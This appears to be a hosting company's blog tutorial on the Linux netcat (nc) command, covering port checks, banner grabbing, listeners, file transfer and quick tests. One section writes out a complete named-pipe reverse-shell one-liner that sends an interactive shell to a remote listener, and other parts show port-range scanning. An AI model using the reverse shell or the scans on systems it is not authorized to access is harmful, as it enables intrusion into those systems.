PQ
PQ.Hosting

Currency

The nc (netcat) Command in Linux: What It Does and How to Use It

Author
PQ
February 25, 2026
7 min read
11 views

nc is a utility often called the "Swiss army knife of TCP/IP." No extra installation required — it ships with most Linux distributions out of the box. It reads and writes data across network connections as simply as regular commands work with files.

In practice, nc is most commonly used for three things: checking whether a port is reachable on a remote server; spinning up a temporary listener for testing; transferring data between two machines without additional tools.

GNU netcat vs BSD netcat — What Differs

Two implementations of the command exist on servers, and they behave differently.

GNU netcat — the classic version, supports the -e flag for launching an external program on connection. This is what most distributions install as netcat.

OpenBSD netcat (ncat) — a more modern and secure implementation. The -e flag was deliberately removed. This is the default version on Ubuntu/Debian as the netcat-openbsd package, and the one most current documentation refers to.

Check which version is installed:

nc -h 2>&1 | head -3

If the output mentions OpenBSD — it is the BSD version. If GNU or no label — GNU netcat.

Install the OpenBSD version on Ubuntu/Debian:

sudo apt install netcat-openbsd

Syntax

nc [options] host port

For listen mode:

nc -l [options] port

Key Flags

Flag Purpose
-l Listen mode
-v Verbose output
-z Scan mode — connects without sending data
-u Use UDP instead of TCP
-n Skip DNS, work directly with IPs
-w N Connection timeout in seconds
-N Close connection on EOF
-k Keep listening after first client disconnects
-p Explicitly specify source port
-6 Use IPv6

Checking Port Availability

The most common server use case — confirm a port is open and a service is responding. Flags -vz: -v gives verbose output, -z checks the connection without sending data.

nc -vz 10.0.0.5 443

A "Connection to ... succeeded!" result means the port is open and accepting connections.

Check a range of ports at once and filter for open ones:

nc -vz 10.0.0.5 20-1024 2>&1 | grep succeeded

2>&1 redirects stderr to stdout — important because nc writes results to stderr.

Checking a UDP port — the -u flag:

nc -vzu 10.0.0.5 53

Important caveat: UDP ports always report as open during scanning, even when no service is listening — this is a protocol-level characteristic. A "succeeded" result for UDP only means the packet was sent, not that the service responded.

Checking with a timeout — useful in scripts to avoid waiting indefinitely:

nc -vz -w 3 10.0.0.5 3306
echo $?

Exit code 0 — port is reachable. 1 — not reachable. Works cleanly in bash conditionals: if nc -z -w 3 host port; then ....

Grabbing Service Banners

When a port is open but you need to identify what is actually listening — nc can read the service response:

echo "" | nc -w 3 10.0.0.5 22

An SSH server will return a string like SSH-2.0-OpenSSH_8.9p1, revealing the service type and version. Works the same for HTTP:

printf "HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n" | nc -w 3 example.com 80

The web server returns response headers — HTTP version, server type, status code. Faster than curl for checking headers without SSL.

Listening on a Port

Listener mode is activated with the -l flag. Useful for testing: verify that an application actually reaches the expected address and port.

nc -lvnp 8080

-l — listen, -v — verbose, -n — no DNS, -p — explicit port (required in some nc versions).

After launching, nc waits for an incoming connection. When a client connects, everything the client sends appears in the terminal and vice versa.

To keep the listener running after the first client disconnects — the -k flag:

nc -lvnkp 8080

Without -k, nc exits immediately when the client disconnects. With -k, it continues listening. Convenient for extended testing sessions.

Transferring Files Between Servers

Direct transfer without scp, rsync, or anything else — useful when tools are unavailable or SSH is not configured between machines.

On the receiving side — start a listener and redirect output to a file:

nc -lvnp 9000 > received_file.tar.gz

On the sending side:

nc -N 10.0.0.10 9000 < backup.tar.gz

The -N flag closes the connection after reaching end of file — without it, nc keeps waiting and the connection must be closed manually.

Order matters: start the listener first, then send. Otherwise the sender gets "Connection refused."

Transfer with progress via pv:

nc -lvnp 9000 | pv > received_file.tar.gz

If pv is installed, it shows transfer speed and progress.

Bandwidth Test Between Two Servers

A quick network speed check without iperf:

Server (receiving side):

nc -lvnp 9000 > /dev/null

Client (sending side):

dd if=/dev/zero bs=1M count=500 | nc -N 10.0.0.10 9000

dd generates 500 MB of zeroes and pipes them through nc. The dd output reports transfer speed. Not a replacement for iperf, but works when nothing else is available.

Minimal HTTP Response for Testing

Sometimes you need to quickly verify that a client can reach the server over HTTP — without nginx, Apache, or virtual host configuration:

while true; do
  echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\nOK" | nc -w 1 -lvnp 8080
done

A browser or curl pointed at the server address gets an "OK" response. The listener terminal shows the full HTTP request from the client — method, headers, path. Useful for debugging applications that make HTTP requests to external services.

Remote Shell via Named Pipe

The -e flag was removed from modern OpenBSD netcat for security reasons, but a workaround using a named pipe via mkfifo still works:

On the machine where you want to receive the shell:

nc -lvnp 8080

On the machine you want to access:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.0.0.5 8080 > /tmp/f

The chain works as follows: mkfifo creates a named pipe, cat reads from it, sh -i executes commands, output goes through nc back to the remote end, and responses return into the pipe.

This is a legitimate method to access a machine when SSH is unavailable but a network connection exists. It is also a technique used in attacks — understanding how it works is exactly why firewalls should block inbound connections on non-standard ports by default.

Diagnostics: Common Errors

Connection refused — the port is closed or the service is not running. Check service status: systemctl status <service>.

Connection timed out — the port is blocked by a firewall; packets are not getting through. Distinguished from "refused" by the lack of an explicit rejection — nc simply waits until the timeout expires.

Address already in use — when trying to listen on a port already occupied by another process. Find what is using it: ss -tlnp | grep :8080.

nc: invalid option — incompatibility between GNU and OpenBSD versions. Some flags (for example, -p in listen mode) behave differently between implementations.

Quick Reference

Task Command
Check TCP port nc -vz host port
Check port range nc -vz host 1-1000 2>&1 | grep succeeded
Check UDP port nc -vzu host port
Check with timeout nc -vz -w 3 host port
Grab service banner echo "" | nc -w 3 host port
Listen on port nc -lvnp port
Keep listening nc -lvnkp port
Receive file nc -lvnp port > file
Send file nc -N host port < file
Minimal HTTP test while true; do echo -e "HTTP/1.1 200 OK\r\n\r\nOK" | nc -w 1 -lvnp 8080; done

Summary

nc is indispensable for quick network diagnostics: check a port, read a banner, transfer a file, or test HTTP without extra tooling. The key thing to keep in mind is the difference between GNU and OpenBSD implementations — some flags and behaviors differ between them.

To find a VPS for network testing scenarios, the PQ.Hosting catalog has servers available across 40+ locations.

Share this article